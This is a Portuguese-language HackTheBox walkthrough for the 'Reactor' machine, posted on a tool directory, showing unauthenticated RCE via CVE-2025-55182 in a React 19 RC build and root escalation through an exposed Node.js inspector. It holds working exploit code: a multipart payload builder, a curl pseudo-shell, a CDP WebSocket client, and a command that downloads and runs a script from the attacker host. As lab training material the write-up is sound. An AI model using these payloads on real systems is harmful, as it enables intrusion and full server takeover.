Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
HTB-Reactor-Linux-Machine-Walkthrough — Walkthrough completo da máquina Reactor da HTB — explore a CVE-2025-55182 para obter um shell e, em seguida, obtenha acesso root por meio de um debugger do Node.js exposto. Passo a passo com capturas de tela. | Kitploit
Ferramentas/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
Escalada de PrivilégiosReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebPós-ExploraçãoCTFTestes de PenetraçãoAprendizado e Educação

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ferramenta de Acesso Remoto
Labs e Prática
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

Walkthrough completo da máquina Reactor da HTB — explore a CVE-2025-55182 para obter um shell e, em seguida, obtenha acesso root por meio de um debugger do Node.js exposto. Passo a passo com capturas de tela.

Ver Repositório
11há 2 mesesAinda não revisado

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] Aviso de spoiler. Este é um passo a passo completo, incluindo as flags. Se você quiser resolver a máquina sozinho, feche isto agora e volte quando estiver travado.


Informações da Máquina

CampoDetalhes
NomeReactor
SOUbuntu 24.04 LTS (Noble)
DificuldadeMédia
CVECVE-2025-55182 (CVSS 10.0)
Portas22 (SSH), 3000 (Next.js)
Autorsonnycroco

Visão Geral

Reactor é tematizado em torno de um painel de monitoramento de usina nuclear chamado ReactorWatch. A máquina gira inteiramente em torno de duas vulnerabilidades encadeadas: sem adivinhação, sem pistas falsas, sem brute force.

O caminho: uma build de pré-lançamento do React 19 expõe uma falha crítica de desserialização que concede execução remota de código sem autenticação com uma única requisição HTTP. A partir daí, uma porta de depuração do Node.js rodando como root dá acesso total ao sistema por meio de uma mensagem WebSocket.

Cadeia de ataque:

root@kitploit:~
Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

Índice

  1. Passo 1: Reconhecimento
  2. Passo 2: Identificando a Stack Tecnológica
  3. Passo 3: Explorando o CVE-2025-55182 (RCE sem autenticação)
  4. Passo 4: Explorando como node
  5. Passo 5: Flag de usuário
  6. Passo 6: Escalação de privilégio
  7. Passo 7: Flag de root
  8. Lições Aprendidas
  9. Remediação

Passo 1: Reconhecimento

A primeira coisa a fazer em qualquer máquina nova é descobrir o que está ouvindo. Um scan completo de portas com detecção de serviços para que nada passe despercebido.

root@kitploit:~
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
root@kitploit:~
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

Resultados do scan Nmap mostrando as portas 22 e 3000 abertas com Next.js identificado

Apenas duas portas. SSH é um beco sem saída nesta fase, já que ainda não temos credenciais. A porta 3000 é o alvo. O Nmap já nos diz que é Next.js 15.0.3, o que é uma boa pista.


Passo 2: Identificando a Stack Tecnológica

Antes de sair atirando exploits em qualquer coisa, quero saber a versão exata de tudo que está rodando. Os cabeçalhos HTTP já revelaram o Next.js, mas a versão do React é o detalhe crítico. O React 19 ficou em pré-lançamento por um longo tempo e teve alguns problemas sérios antes do lançamento estável.

Buscando um dos chunks JavaScript do lado do cliente para verificar:

root@kitploit:~
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
root@kitploit:~
19.0.0-rc-66855b96-20241106

Esse rc na string de versão é a prova cabal. Esta é uma build candidata a lançamento do React 19, não a versão estável. As bases de dados de CVE confirmam: CVE-2025-55182 afeta exatamente essa build. CVSS 10.0.

Aproveitando, verifico os cabeçalhos em busca de pistas sobre middleware:

root@kitploit:~
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

Nenhum cabeçalho x-middleware-rewrite em lugar algum, o que significa que não há middleware Next.js instalado. Isso descarta o CVE-2025-29927 (o bypass de middleware), vale anotar para não perder tempo com ele.

O que sabemos:

  • Next.js 15.0.3 com experimental.serverActions habilitado
  • React 19.0.0-rc, vulnerável ao CVE-2025-55182
  • Nome do app: ReactorWatch (painel de sensores de reator nuclear)
  • Sem middleware, então o CVE de bypass de middleware não se aplica aqui

Identificação da stack tecnológica mostrando React 19.0.0-rc detectado e CVE-2025-55182 identificado


Passo 3: Explorando o CVE-2025-55182 (RCE sem autenticação)

O que é a vulnerabilidade

Os Server Components do React 19 introduziram as Server Actions, que são funções do lado do servidor chamáveis pelo cliente via HTTP POST com um cabeçalho Next-Action. O parser de corpo multipart que processa essas requisições tem uma falha crítica: ele desserializa de forma insegura um tipo de referência chamado $1:__proto__:then.

Ao criar um corpo multipart que define _response._prefix para JavaScript arbitrário, um atacante faz com que esse código seja avaliado no servidor. A saída é então contrabandeada para fora por meio de uma exceção que o Next.js usa internamente para redirecionamentos (NEXT_REDIRECT) e termina codificada em URL dentro do cabeçalho de resposta x-action-redirect.

Qualquer POST para qualquer página com o cabeçalho Next-Action dispara isso. Sem verificação de autenticação, sem endpoint especial. Basta enviar o payload para / e você está dentro.

Construindo o exploit

Um pequeno helper em Python que recebe um comando shell como entrada, monta o payload multipart e o escreve em disco para o curl enviar:

make_rce.py - construtor de payload
root@kitploit:~
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

Embrulhando tudo em uma função de shell para dar a sensação de um pseudo-shell:

root@kitploit:~
rce() {
  python3 /tmp/make_rce.py "$*" > /dev/null
  curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
    -H "Next-Action: x" \
    -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
    --data-binary "@/tmp/rce_payload.bin" > /dev/null
  grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
    | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}

A troca HTTP crua. A saída do comando está bem ali no cabeçalho de redirecionamento:

root@kitploit:~
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

[... multipart body ...]

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push

Disparando

root@kitploit:~
rce "id"
# uid=999(node) gid=988(node) groups=988(node)

Estamos dentro como a conta de serviço node. Sem autenticação, sem brute force, sem engenharia social. Apenas um POST HTTP. É assim que um CVSS 10.0 se parece na prática.

Requisição e resposta HTTP brutas do exploit do CVE-2025-55182 com a saída do comando visível no cabeçalho de redirecionamento

[!WARNING] Duas coisas para saber antes de continuar:

  • execSync é síncrono e bloqueia a thread de resposta. Não tente gerar um reverse shell com ele; use o exec() assíncrono ou o servidor vai travar.
  • O template literal NEXT_REDIRECT quebra com quebras de linha. Sempre canalize saídas de múltiplas linhas por paste -sd, para achatá-las antes de colocá-las na URL.

Passo 4: Explorando como node

Com a execução de código estabelecida, o próximo objetivo é entender o ambiente: o que há nessa máquina, quais credenciais estão por aí e se existe um caminho óbvio para um usuário com mais privilégios.

Verificando a configuração do app

root@kitploit:~
rce "cat /opt/reactor-app/.env | paste -sd,"
root@kitploit:~
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production

Há um banco de dados SQLite no disco. Verificando o que tem dentro:

root@kitploit:~
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
root@kitploit:~
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]

Uma conta de admin com hash MD5. Rodando no John com rockyou, não quebra. Tudo bem, quebrar o hash acaba sendo desnecessário quando encontrarmos o verdadeiro caminho de escalação. Deixando isso de lado e seguindo em frente.

Verificando usuários e diretórios home

root@kitploit:~
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root@kitploit:~
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash

Há um usuário chamado engineer. A flag de usuário fica no diretório home dele.

[!NOTE] Em algumas instâncias desta máquina, /home/engineer/ tem permissão 700, o que significa que a conta de serviço node não consegue lê-lo diretamente. Se for o seu caso, não entre em pânico. O caminho de escalação para root coberto no Passo 6 permite ler as duas flags como root.


Passo 5: Flag de usuário

root@kitploit:~
rce "cat /home/engineer/user.txt"
root@kitploit:~
f7b714f9fdf5c08a5f240668792aa13f

Se /home/engineer/ estiver bloqueado na sua instância, avance para o Passo 6 e pegue as duas flags como root.


Passo 6: Escalação de privilégio

Encontrando o caminho para o root

Com uma posição estabelecida, vou verificar quais processos estão rodando na máquina. O ps aux completo é longo, então filtrando qualquer coisa relacionada a Node.js:

root@kitploit:~
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
root@kitploit:~
node    1415  next-server (v15.0.3)
root    1417  /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js

Aí está. Um segundo processo Node.js rodando como root, iniciado com a flag --inspect ligada a 127.0.0.1:9229. É um script de monitoramento de uptime que alguém iniciou com o depurador do Node.js habilitado e deixou rodando.

Por que isso nos dá root

A flag --inspect abre o Chrome DevTools Protocol (CDP), o mesmo protocolo que as ferramentas de desenvolvedor do seu navegador usam. Quando você se conecta a ele, pode dizer ao processo para avaliar JavaScript arbitrário no próprio contexto V8 dele. Como esse processo roda como root, qualquer coisa que você avaliar também roda como root.

A única barreira é que o depurador está vinculado ao localhost, mas já temos execução de código na máquina como node, então conseguimos alcançá-lo sem problema.

Confirmando que o depurador está ativo e capturando a URL do WebSocket:

root@kitploit:~
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
root@kitploit:~
[{
  "description": "node.js instance",
  "id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
  "title": "/opt/uptime-monitor/worker.js",
  "type": "node",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]

[!IMPORTANT] O UUID na URL do WebSocket (1d85ee80-...) é único por instância do processo. O seu será diferente. Copie-o da sua saída JSON e atualize-o no script de exploit antes de executar.

Saída do ps aux mostrando o processo Node.js com inspect como root e a URL do depurador WebSocket obtida do endpoint json

Escrevendo o exploit CDP

Para enviar um comando Runtime.evaluate ao inspetor, precisamos de um cliente WebSocket. O pacote npm ws não está no alvo, então vou escrever um mínimo do zero usando apenas os módulos nativos do Node.js: net para a conexão TCP e crypto para a mascaramento dos frames WebSocket.

inspector_exploit.js - cliente CDP WebSocket sem dependências
root@kitploit:~
const net = require('net');
const crypto = require('crypto');

// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';

function encodeFrame(data) {
  const payload = Buffer.from(data, 'utf8');
  const mask = crypto.randomBytes(4);
  let headerLen = (payload.length < 126) ? 6 : 8;
  const header = Buffer.alloc(headerLen);
  header[0] = 0x81;
  if (payload.length < 126) {
    header[1] = 0x80 | payload.length;
    mask.copy(header, 2);
  } else {
    header[1] = 0xfe;
    header.writeUInt16BE(payload.length, 2);
    mask.copy(header, 4);
  }
  const masked = Buffer.alloc(payload.length);
  const maskStart = headerLen - 4;
  for (let i = 0; i < payload.length; i++) {
    masked[i] = payload[i] ^ header[maskStart + (i % 4)];
  }
  return Buffer.concat([header, masked]);
}

const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);

sock.on('connect', () => {
  sock.write(
    `GET /${WS_ID} HTTP/1.1\r\n` +
    `Host: 127.0.0.1:9229\r\n` +
    `Upgrade: websocket\r\n` +
    `Connection: Upgrade\r\n` +
    `Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
    `Sec-WebSocket-Version: 13\r\n\r\n`
  );
});

sock.on('data', (data) => {
  chunks = Buffer.concat([chunks, data]);
  if (!upgraded) {
    const str = chunks.toString('utf8');
    const sep = str.indexOf('\r\n\r\n');
    if (sep === -1) return;
    upgraded = true;
    chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
    const msg = JSON.stringify({
      id: 1,
      method: 'Runtime.evaluate',
      params: { expression: CMD, returnByValue: true }
    });
    sock.write(encodeFrame(msg));
    return;
  }
  while (chunks.length > 2) {
    const b1 = chunks[1] & 0x7f;
    let payloadStart, payloadLen;
    if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
    else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
    if (chunks.length < payloadStart + payloadLen) return;
    process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
    sock.destroy();
    process.exit(0);
  }
});

sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);

[!WARNING] Dentro de uma chamada CDP Runtime.evaluate, a função require() simples não está no escopo global, mesmo que o worker.js em si seja um módulo CommonJS. Você deve usar process.mainModule.require(...). Usar require() puro lançará um ReferenceError e não produzirá saída.

Entregando e executando o exploit

Servindo o script a partir da máquina de ataque:

root@kitploit:~
python3 -m http.server 8080 --directory /tmp/www &

Baixando e executando no alvo por meio da cadeia de RCE:

root@kitploit:~
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"

Resposta:

root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}

Estamos avaliando JavaScript arbitrário dentro de um processo rodando como uid=0.

Resposta do CDP Runtime.evaluate confirmando uid=0 e execução de código como root


Passo 7: Flag de root

Mesmo exploit, comando diferente em CMD:

root@kitploit:~
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
root@kitploit:~
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root@kitploit:~
root.txt: 5c091a1960eb124c53910c1a1f456334

Ambas as flags capturadas, user.txt e root.txt, máquina totalmente pwned

Tempo total da primeira requisição até o root: menos de 10 minutos quando você entende o CVE. Sem brute force, sem quebra de senhas, sem pistas falsas.


Lições Aprendidas

1. Não presuma que os CVEs do Next.js se acumulam

O CVE-2025-29927 (bypass de middleware) estava em alta ao mesmo tempo que o CVE-2025-55182. Sempre verifique se o middleware está realmente presente antes de testar o bypass dele. A presença ou ausência do cabeçalho de resposta x-middleware-rewrite te diz isso imediatamente. Caçar o CVE errado é uma perda de tempo fácil.

2. execSync vai quebrar reverse shells

Ele bloqueia toda a thread de resposta do servidor até o subprocesso sair. Gerar um bash -i ou um shell netcat por ele vai travar os dois lados. Use o exec() assíncrono do child_process se você precisar de um shell interativo a partir deste exploit.

3. Achate saídas de múltiplas linhas antes de exfiltrar

A saída do comando é embutida dentro de um template literal JavaScript: NEXT_REDIRECT;push;/login?a=${res};307;. Qualquer quebra de linha literal em res quebra o template literal e não retorna nada. Canalize tudo por paste -sd, para unir as linhas antes da exfiltração.

4. require não é global no contexto CDP

Quando você envia Runtime.evaluate para um inspetor do Node.js, você executa dentro de um isolado V8 que não expõe a função require do CommonJS globalmente, mesmo quando o processo alvo é em si um módulo CommonJS. Sempre use process.mainModule.require("module") dentro de expressões CDP.

5. As permissões do diretório home variam por instância

Em alguns spawns desta máquina, a conta de serviço node consegue ler /home/engineer/user.txt diretamente. Em outros, permissões 700 no diretório home bloqueiam isso. O caminho de escalação para root sempre funciona e te dá as duas flags independentemente.


Remediação


Baixar ferramenta
VulnerabilidadeCorreção
CVE-2025-55182Atualize o React de 19.0.0-rc para o lançamento estável do React 19. Atualize o Next.js para a versão 15.2.3 ou superior.
Node.js --inspect como rootRemova --inspect de todos os processos de produção por completo. Nunca vincule o inspetor a qualquer endereço, nem mesmo 127.0.0.1, em sistemas compartilhados. Use um ambiente isolado dedicado para depuração.
Banco SQLite no diretório da aplicaçãoMova o banco de dados para fora da raiz web. Restrinja as permissões do sistema de arquivos para que o processo web acesse apenas o que precisa estritamente.